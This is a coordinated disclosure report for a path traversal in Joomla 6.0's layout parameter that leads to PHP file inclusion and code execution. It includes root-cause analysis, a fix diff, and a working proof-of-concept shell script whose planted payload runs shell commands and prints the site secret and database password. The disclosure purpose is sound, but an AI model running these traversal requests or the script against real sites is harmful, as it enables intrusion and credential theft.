ANT-2026-HHD77M82 · joomla/joomla-cms

path-traversal high

CVE-2026-40383 GHSA-v8h9-9g8j-w7h4

Severity Claude high · Security research firm high · Maintainer high

Discovered by Claude Mythos Preview

REPORT

Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Doyensec.

ANT-2026-HHD77M82: Path Traversal in layout Parameter Leads to Arbitrary PHP File Inclusion (LFI → RCE)

BaseController::display() reads layout with the 'string' filter (preserving /, ., :) and passes it to HtmlView, where setLayout() splits on : and stores the left half verbatim in _layoutTemplate. loadTemplate() then str_replace()'s the active template directory with this attacker-controlled value inside the search path, and Path::find()'s self-referential bounds check trivially passes because both $path and $fullname resolve under the same attacker-chosen directory. The resulting path is handed to include(), executing any .php file whose parent directory (matching the html/<component>/<view>/ suffix) exists on disk. Unauthenticated GET to com_content, com_finder, or com_wrapper is sufficient; on a default install a chained file-write primitive is needed to place a matching .php file.

Target

Project: joomla
Commit: bfc2c2ce6ea085f5
Version: Joomla 6.0
Location: libraries/src/MVC/Controller/BaseController.php:653; libraries/src/MVC/View/HtmlView.php:292,385-416
Discovery: static analysis — not yet dynamically reproduced

Technical Details

Each layer assumed another would sanitise: the controller uses filter 'string' instead of 'cmd', setLayout() stores $temp[0] with zero validation, loadTemplate() injects it into $this->_path['template'] via str_replace(), and Path::find() only guards the filename, not the search path. The layout filename (right of :) is regex-sanitised at HtmlView.php:369, but the template name (left of :) takes a different code path with no equivalent filter, so ../../../../tmp/poc:default redirects include() to /tmp/poc/html/com_content/categories/default.php.

Reproduction

  1. Place or identify a PHP payload at e.g. /tmp/poc/html/com_content/categories/default.php
  2. Compute traversal depth from JPATH_THEMES (/var/www/html/templates) to /../../../../
  3. Build payload layout=../../../../tmp/poc:default (left of : → _layoutTemplate unsanitised; right of : → _layout sanitised)
  4. Send GET /index.php?option=com_content&view=categories&layout=../../../../tmp/poc:default
  5. HtmlView::loadTemplate() rewrites the search path, Path::find() self-check passes, and the payload is include()'d — PHP executes as www-data

[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]

Acknowledgement

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-HHD77M82.


Reference: ANT-2026-HHD77M82
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure

SECURITY RESEARCH FIRM ANALYSIS

Triage and disclosure were performed by Doyensec. The writeup below is the document the firm sent to the maintainer.

Verdict
true positive
Severity
high

Vulnerability Header

Field Value
Vulnerability Title Path Traversal in layout Parameter Leads To Arbitrary PHP File Inclusion
Severity Rating High
Bug Category Path Traversal, PHP File Inclusion
Location libraries/src/MVC/Controller/BaseController.php:653
Affected Versions Joomla 6.0.4
Related CVE(s) CVE-2021-26031

Executive Summary

BaseController::display() reads the layout HTTP GET parameter using the permissive 'string' filter, which preserves path traversal characters (/, .) and the colon (:) that triggers the template:file split syntax. When a colon is present, HtmlView::setLayout() stores the left portion as the template directory name with zero sanitization. This value is later spliced into the template search path via str_replace(), and Path::find()'s bounds check is tautological when the search path itself is attacker-controlled. The chain ends at include(), giving arbitrary PHP file execution as www-data. This is an incomplete fix for CVE-2021-26031: Joomla patched the identical sink in ModuleHelper::getLayoutPath() with Path::check() in 2021 but left HtmlView::loadTemplate() unprotected — and this variant is reachable via an unauthenticated GET request, whereas the original CVE required admin access.

Exploitation requires a .php file on disk at a specific directory structure (*/html/<component>/<view>/). No such targets exist on a default single-tenant install. On shared hosting, any co-tenant can trivially plant the target, making this cross-tenant RCE.

Root Cause Analysis

Technical Description

The vulnerability is a four-link chain where every layer assumed another layer would sanitize:

1. BaseController reads layout with the wrong filter (BaseController.php:653):

$viewLayout = $this->input->get('layout', 'default', 'string');   // ← 'string' filter

The 'string' filter only strips HTML/control characters — it preserves /, ., and :. Compare with com_users/DisplayController.php:46 which correctly uses getCmd('layout') (the 'cmd' filter strips everything except [A-Za-z0-9_.-]):

string filter: ../../../../tmp/poc:default  →  ../../../../tmp/poc:default   (unchanged)
cmd    filter: ../../../../tmp/poc:default  →  tmppocdefault                 (neutralized)

2. setLayout() stores the template name without sanitization (libraries/src/MVC/View/HtmlView.php:292):

// Convert parameter to array based on :
$temp = explode(':', $layout);
$this->_layout = $temp[1];

// Set layout template
$this->_layoutTemplate = $temp[0];   // ← ZERO sanitization

The right side of the colon (_layout) is later regex-stripped at line 369 (preg_replace('/[^A-Z0-9_\.-]/i', '', ...)). The left side (_layoutTemplate) never is. The developers clearly thought about traversal in the filename — they just missed that the template name takes a completely different, unprotected code path.

3. loadTemplate() injects the tainted value into the search path (HtmlView.php:385-389):

$this->_path['template'] = str_replace(
    JPATH_THEMES . DIRECTORY_SEPARATOR . $template->template . DIRECTORY_SEPARATOR,
    JPATH_THEMES . DIRECTORY_SEPARATOR . $layoutTemplate . DIRECTORY_SEPARATOR,   // ← INJECTION
    $this->_path['template']
);

With $layoutTemplate = '../../../../tmp/poc', the search path becomes:

/var/www/html/templates/../../../../tmp/poc/html/com_content/categories/
→ resolves to: /tmp/poc/html/com_content/categories/

4. Path::find() bounds check is tautological (Path.php:289-299):

$path     = realpath($path);          // resolves ../ in the search path
$fullname = realpath($fullname);      // resolves ../ in search path + filename
// ...
if (file_exists($fullname) && substr($fullname, 0, strlen($path)) == $path) {
    return $fullname;                 // ← X == X, always passes
}

Both realpath() calls resolve the same ../ sequences to the same attacker-chosen directory. The check was designed to stop traversal in the filename — it's useless when the search path itself is poisoned.

5. The included file executes (HtmlView.php:416):

include $this->_template;   // ← arbitrary PHP execution as www-data

First Faulty Condition

File libraries/src/MVC/Controller/BaseController.php
Line 653
Condition The layout HTTP parameter is read with the 'string' filter instead of 'cmd', allowing path traversal characters and the colon separator to pass through to HtmlView::setLayout().

Relationship to CVE-2021-26031

CVE-2021-26031 (Joomla 3.0.0–3.9.25, patched 3.9.26) exploited the identical colon-split mechanism in ModuleHelper::getLayoutPath(). The fix added Path::check() calls at ModuleHelper.php:334-336:

$tPath = Path::check(JPATH_THEMES . '/' . $template . '/html/' . $module . '/' . $layout . '.php');

Path::check() throws on any .. in the path. HtmlView::loadTemplate() — which uses the same explode(':', $layout)$temp[0] pattern — has zero Path::check() calls.

CVE-2021-26031 was rated Low because it required admin access to set module layout settings. This variant reaches the same sink via an unauthenticated GET parameter — the more dangerous entry point was left unpatched.

Exploitability Assessment

Attack Vector & Reachability

Attack vector Network
Authentication required None
User interaction required None
Reachable in default config Yes
Entry point(s) Any frontend component that delegates to BaseController::display() without re-reading layout via getCmd()

Seven confirmed unauthenticated entry points across five core components (all enabled by default):

Component View Vulnerable
com_content categories, archive, featured Yes
com_finder search Yes
com_contact categories Yes
com_wrapper wrapper Yes
com_newsfeeds categories Yes
com_users login No — uses getCmd('layout') at line 46

Preconditions and Constraints

The inclusion target must satisfy all of: 1. Extension must be .php (hard-coded, not bypassable via null bytes on PHP 8) 2. The containing directory must exist (realpath() returns false for nonexistent dirs) 3. Directory structure must end in html/<component>/<view>/ (suffix is fixed per-request)

Standard LFI escalation techniques are all defeated:

Technique Why it fails
/etc/passwd, /proc/self/environ Not .php extension
PHP session files, log poisoning Not .php extension
php://filter wrappers realpath() rejects stream wrappers
Null-byte truncation PHP 8.x blocks null bytes in paths
Joomla's own .php files Wrong directory structure (tmpl/<view>/, not html/<comp>/<view>/)

No pre-existing targets exist on a default install (confirmed via exhaustive find / -path '*/html/com_*/*/*.php' — zero results).

Realistic exploitation scenarios: - Shared hosting: Any co-tenant who can write to /tmp plants the directory tree and hits the URL from outside. This is cross-tenant RCE. - Chained file-write: Any bug that creates subdirectories with a .php file (e.g., zip extraction that doesn't sanitize archive member names) chains directly into full RCE.

Reproduction Steps

Environment: The issue was reproduced using Joomla 6.0.4 on Ubuntu 24.04.4 LTS.

Prerequisites: A .php file must exist at a path matching <anywhere>/html/<component>/<view>/default.php where the directory exists. On shared hosting, any co-tenant can create this. For testing, we plant one manually:

mkdir -p /tmp/poc/html/com_content/categories/
echo '<?php echo "INCLUDED:" . __FILE__ . " UID:" . posix_getuid();' \
  > /tmp/poc/html/com_content/categories/default.php

Make sure HTTPd service sees the same /tmp directory (i.e., PrivateTmp is disabled). Otherwise, plant the files in your home directory and make sure the directories are traversable.

Trigger (unauthenticated, single GET request, no cookies/tokens):

GET /index.php?option=com_content&view=categories&layout=../../../../tmp/poc:default HTTP/1.1
Host: <target>

Expected output (embedded in the rendered page):

INCLUDED:/tmp/poc/html/com_content/categories/default.php UID:33

__FILE__ resolving to /tmp/poc/... proves PHP's include executed the file at the traversed path. UID:33 (www-data) proves execution inside the web server process.

Negative control (same payload against com_users, which uses getCmd):

GET /index.php?option=com_users&view=login&layout=../../../../tmp/poc:default HTTP/1.1

Returns a normal page with no inclusion — the cmd filter strips the traversal characters.

Nonexistent target (silent failure, no error disclosure):

GET /index.php?option=com_content&view=categories&layout=../../../../tmp/nonexistent:default HTTP/1.1

Returns HTTP 200, normal page. realpath() returns false, Path::find() falls through. No error signal — the bug is silent on both success and failure.

PoC files:

A full PoC script is provided in the attached poc.sh shell script. It plants a payload in /tmp, runs a baseline request, runs the exploit request, and shows the differential.

Recommended Fix

Fix 1 — Tighten the filter at the source (primary fix, BaseController.php:653):

- $viewLayout = $this->input->get('layout', 'default', 'string');
+ $viewLayout = $this->input->get('layout', 'default', 'cmd');

The cmd filter ([A-Za-z0-9_.-]) removes / (killing traversal) and : (killing the colon-split). This is exactly what com_users/DisplayController.php:46 already does.

Fix 2 — Sanitize _layoutTemplate at the sink (defense in depth, HtmlView.php:292):

- $this->_layoutTemplate = $temp[0];
+ $this->_layoutTemplate = preg_replace('/[^A-Z0-9_\-]/i', '', $temp[0]);

Template directory names are always [a-z0-9_-] in practice. This protects every caller of setLayout(), not just BaseController.

Fix 3 — Apply the CVE-2021-26031 pattern to HtmlView (defense in depth):

Wrap the constructed path in Path::check() at HtmlView.php:385-389, exactly as ModuleHelper::getLayoutPath() does at lines 334-336. Path::check() throws on any .. in the path.

Patch provenance: AI-generated + Human-reviewed

References

Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research

Attachment: diff.patch

--- a/libraries/src/MVC/Controller/BaseController.php
+++ b/libraries/src/MVC/Controller/BaseController.php
@@ -650,7 +650,7 @@
         $viewType   = $document->getType();
         $viewName   = $this->input->get('view', $this->default_view);
-        $viewLayout = $this->input->get('layout', 'default', 'string');
+        $viewLayout = $this->input->get('layout', 'default', 'cmd');

         $view = $this->getView($viewName, $viewType, '', ['base_path' => $this->basePath, 'layout' => $viewLayout]);

Attachment: poc.sh

#!/bin/bash
###############################################################################
# PoC: Path Traversal → LFI → RCE in Joomla 6.0 BaseController::display()
#
# VULNERABILITY SUMMARY
# =====================
# BaseController::display() reads the `layout` request parameter using the
# 'string' filter (line 653), which preserves `/`, `.` and `:` characters.
# When the layout value contains a colon (format: "<template>:<layout>"),
# HtmlView::setLayout() splits it and stores the LEFT side as _layoutTemplate
# with ZERO sanitization. This value is later used in a str_replace() that
# rewrites the template search path. By injecting `../` sequences, an
# attacker can redirect the template search to any directory on disk.
# Path::find()'s realpath() bounds-check fails because it validates the
# resolved file against the resolved path — but the resolved path is ALREADY
# the attacker-controlled location.
#
# CHAIN
# =====
#   BaseController.php:653   $viewLayout = $this->input->get('layout', 'default', 'string')
#   → HtmlView.php:161       $this->setLayout($config['layout'])
#   → HtmlView.php:292       $this->_layoutTemplate = $temp[0]   // no filter
#   → HtmlView.php:385-389   str_replace(JPATH_THEMES/cassiopeia/, JPATH_THEMES/$layoutTemplate/, $paths)
#   → Path.php:289-299       realpath resolves traversal, substr check self-referential
#   → HtmlView.php:416       include $this->_template   // RCE
#
# PRECONDITIONS
# =============
#   - Unauthenticated (no session required)
#   - Requires a .php file on disk at: <anywhere>/html/<component>/<view>/<name>.php
#     (This PoC plants one in /tmp to demonstrate the chain; in a real attack
#      this would come from a secondary file-write primitive — media upload,
#      shared-hosting /tmp, log poisoning + rename, etc.)
###############################################################################

set -u
TARGET="${1:-http://localhost}"
MARKER="LFI-RCE-$(head -c6 /dev/urandom | od -An -tx1 | tr -d ' \n')"
PAYLOAD_DIR="/tmp/j6poc_$$"
COMPONENT="com_content"
VIEW="categories"

# Calculate traversal depth: JPATH_THEMES = /var/www/html/templates (4 levels to reach /)
TRAVERSAL="../../../../tmp/j6poc_$$"

banner() { echo; echo "========================================================================"; echo "  $*"; echo "========================================================================"; }

cleanup() { rm -rf "$PAYLOAD_DIR" 2>/dev/null; }
trap cleanup EXIT

###############################################################################
banner "STEP 1 — SETUP: Plant PHP payload (simulates file-write primitive)"
###############################################################################
# NOTE: This step simulates what an attacker would achieve via a separate
# file-write primitive (e.g., misconfigured media upload, shared /tmp on
# multi-tenant hosting, or a chained bug). The exploit step itself (STEP 3)
# is purely unauthenticated HTTP.

mkdir -p "${PAYLOAD_DIR}/html/${COMPONENT}/${VIEW}/"
cat > "${PAYLOAD_DIR}/html/${COMPONENT}/${VIEW}/default.php" << EOF
<?php
echo "\n\n[${MARKER}]\n";
echo "INCLUDED-FILE: " . __FILE__ . "\n";
echo "CMD-OUTPUT: " . shell_exec('id 2>&1');
echo "CONFIG-SECRET: " . \Joomla\CMS\Factory::getApplication()->get('secret') . "\n";
echo "DB-PASSWORD: " . \Joomla\CMS\Factory::getApplication()->get('password') . "\n";
echo "[/${MARKER}]\n\n";
EOF
chmod -R 755 "$PAYLOAD_DIR"

echo "Payload planted at: ${PAYLOAD_DIR}/html/${COMPONENT}/${VIEW}/default.php"
echo "Content:"
cat "${PAYLOAD_DIR}/html/${COMPONENT}/${VIEW}/default.php"

###############################################################################
banner "STEP 2 — BASELINE: Normal request (security control working)"
###############################################################################
# Send the same request with a benign layout value. The template system
# correctly resolves to the component's default template. No traversal.

echo "REQUEST:"
echo "  GET ${TARGET}/index.php?option=${COMPONENT}&view=${VIEW}&layout=default"
echo
RESP_NORMAL=$(curl -sL "${TARGET}/index.php?option=${COMPONENT}&view=${VIEW}&layout=default")
echo "Response size: $(echo -n "$RESP_NORMAL" | wc -c) bytes"
echo "Contains marker '${MARKER}': $(echo "$RESP_NORMAL" | grep -c "$MARKER") occurrences"
echo
echo "First 500 chars of body:"
echo "$RESP_NORMAL" | head -c 500
echo "..."

if echo "$RESP_NORMAL" | grep -q "$MARKER"; then
    echo
    echo "[!] UNEXPECTED: marker found in baseline. Environment contaminated."
    exit 1
fi
echo
echo "[OK] Baseline clean — normal layout resolves to standard template."

###############################################################################
banner "STEP 3 — EXPLOIT: Unauthenticated path traversal via layoutTemplate"
###############################################################################
# Inject `../` traversal in the layoutTemplate portion (before the colon).
# No authentication, no CSRF token, no session — pure HTTP GET.

PAYLOAD="${TRAVERSAL}:default"
URL="${TARGET}/index.php?option=${COMPONENT}&view=${VIEW}&layout=${PAYLOAD}"

echo "REQUEST:"
echo "  GET ${URL}"
echo
echo "  layout parameter breakdown:"
echo "    Before ':' (layoutTemplate) = '${TRAVERSAL}'  ← UNSANITIZED, flows into str_replace"
echo "    After  ':' (layout file)    = 'default'"
echo
echo "  After str_replace in HtmlView::loadTemplate():"
echo "    /var/www/html/templates/cassiopeia/html/${COMPONENT}/${VIEW}/"
echo "    → /var/www/html/templates/${TRAVERSAL}/html/${COMPONENT}/${VIEW}/"
echo "    → resolves to: ${PAYLOAD_DIR}/html/${COMPONENT}/${VIEW}/"
echo

RESP_EXPLOIT=$(curl -sL "$URL")
echo "Response size: $(echo -n "$RESP_EXPLOIT" | wc -c) bytes"
echo "Contains marker '${MARKER}': $(echo "$RESP_EXPLOIT" | grep -c "$MARKER") occurrences"
echo
echo "Marker block extracted from response:"
echo "------------------------------------------------------------------------"
echo "$RESP_EXPLOIT" | sed -n "/\[${MARKER}\]/,/\[\/${MARKER}\]/p"
echo "------------------------------------------------------------------------"

###############################################################################
banner "STEP 4 — DIFFERENTIAL PROOF"
###############################################################################

NORMAL_HAS=$(echo "$RESP_NORMAL" | grep -c "$MARKER")
EXPLOIT_HAS=$(echo "$RESP_EXPLOIT" | grep -c "$MARKER")

printf "  %-40s %s\n" "Baseline (layout=default):"        "marker found ${NORMAL_HAS} times"
printf "  %-40s %s\n" "Exploit (layout=${TRAVERSAL}:default):" "marker found ${EXPLOIT_HAS} times"
echo

if [ "$NORMAL_HAS" -eq 0 ] && [ "$EXPLOIT_HAS" -ge 1 ]; then
    echo "[+] VULNERABILITY CONFIRMED"
    echo "    - Baseline request: template system works correctly (no marker)"
    echo "    - Exploit request:  attacker-controlled PHP file was include()'d"
    echo "    - Command executed: id → $(echo "$RESP_EXPLOIT" | grep -oE 'uid=[^ ]+' | head -1)"
    echo "    - Joomla secret exfiltrated: $(echo "$RESP_EXPLOIT" | grep -oE 'CONFIG-SECRET: [a-zA-Z0-9]+' | head -1)"
    EXIT=0
else
    echo "[-] Exploit did not trigger as expected."
    echo "    Check: Is the template 'cassiopeia'? Is caching disabled?"
    EXIT=1
fi

###############################################################################
banner "STEP 5 — ADDITIONAL ENTRY POINTS"
###############################################################################
# Any component whose DisplayController calls parent::display() without
# re-reading `layout` via getCmd() is affected. Demonstrate com_finder.

mkdir -p "${PAYLOAD_DIR}/html/com_finder/search/"
cp "${PAYLOAD_DIR}/html/${COMPONENT}/${VIEW}/default.php" "${PAYLOAD_DIR}/html/com_finder/search/default.php"

echo "Testing com_finder (Smart Search — publicly accessible):"
echo "  GET ${TARGET}/index.php?option=com_finder&view=search&layout=${TRAVERSAL}:default"
RESP_FINDER=$(curl -sL "${TARGET}/index.php?option=com_finder&view=search&layout=${TRAVERSAL}:default")
if echo "$RESP_FINDER" | grep -q "$MARKER"; then
    echo "  [+] com_finder ALSO VULNERABLE — $(echo "$RESP_FINDER" | grep -oE 'uid=[^ ]+' | head -1)"
else
    echo "  [-] com_finder did not trigger"
fi

exit $EXIT
TIMELINE

Dates from discovery through public reveal.

  1. 2026-03-30 Reported to tracker
  2. 2026-04-23 Sent to maintainer
  3. 2026-05-07 Maintainer acknowledged
  4. 2026-05-28 Patch released
  5. 2026-05-28 Publicly revealed
PROVENANCE

SHA-3-512 hash:

a314b60a74f81e24040a96044a4ee6c575de5dd8a33ebf7bb96f5b6af2b78caf47d5ca533a92c24c506151b98299794a5754acc21431e18dca969e29d8721388

Committed 2026-04-23 00:04 PT

Revealed 2026-05-28 11:00 PT

Verify (download preimage.json)

Show preimage JSON
{
  "ant_id": "ANT-2026-HHD77M82",
  "bug_class": "Path-traversal",
  "claude_severity": "high",
  "commit_sha": "bfc2c2ce6ea085f5",
  "created_at": "2026-03-30T23:19:42+00:00",
  "description": "BaseController::display() reads `layout` with the 'string' filter (preserving `/`, `.`, `:`) and passes it to HtmlView, where setLayout() splits on `:` and stores the left half verbatim in `_layoutTemplate`. loadTemplate() then str_replace()'s the active template directory with this attacker-controlled value inside the search path, and Path::find()'s self-referential bounds check trivially passes because both $path and $fullname resolve under the same attacker-chosen directory. The resulting path is handed to include(), executing any `.php` file whose parent directory (matching the `html/<component>/<view>/` suffix) exists on disk. Unauthenticated GET to com_content, com_finder, or com_wrapper is sufficient; on a default install a chained file-write primitive is needed to place a matching `.php` file.",
  "discovered_at": null,
  "location": "libraries/src/MVC/Controller/BaseController.php:653; libraries/src/MVC/View/HtmlView.php:292,385-416",
  "poc_sha256": "45450fd3f2ec685f0a4e64a8e61d17f6dd7d541960b265ccb488904d11e39955",
  "preimage_version": 1,
  "project": "joomla",
  "reproduction": [
    "1. Place or identify a PHP payload at e.g. /tmp/poc/html/com_content/categories/default.php",
    "2. Compute traversal depth from JPATH_THEMES (/var/www/html/templates) to `/` → `../../../../`",
    "3. Build payload `layout=../../../../tmp/poc:default` (left of `:` → _layoutTemplate unsanitised; right of `:` → _layout sanitised)",
    "4. Send GET /index.php?option=com_content&view=categories&layout=../../../../tmp/poc:default",
    "5. HtmlView::loadTemplate() rewrites the search path, Path::find() self-check passes, and the payload is include()'d — PHP executes as www-data"
  ],
  "technical_details": "Each layer assumed another would sanitise: the controller uses filter 'string' instead of 'cmd', setLayout() stores $temp[0] with zero validation, loadTemplate() injects it into $this->_path['template'] via str_replace(), and Path::find() only guards the filename, not the search path. The layout filename (right of `:`) is regex-sanitised at HtmlView.php:369, but the template name (left of `:`) takes a different code path with no equivalent filter, so `../../../../tmp/poc:default` redirects include() to /tmp/poc/html/com_content/categories/default.php.",
  "title": "Path Traversal in `layout` Parameter Leads to Arbitrary PHP File Inclusion (LFI → RCE)",
  "vendor_severity": "high"
}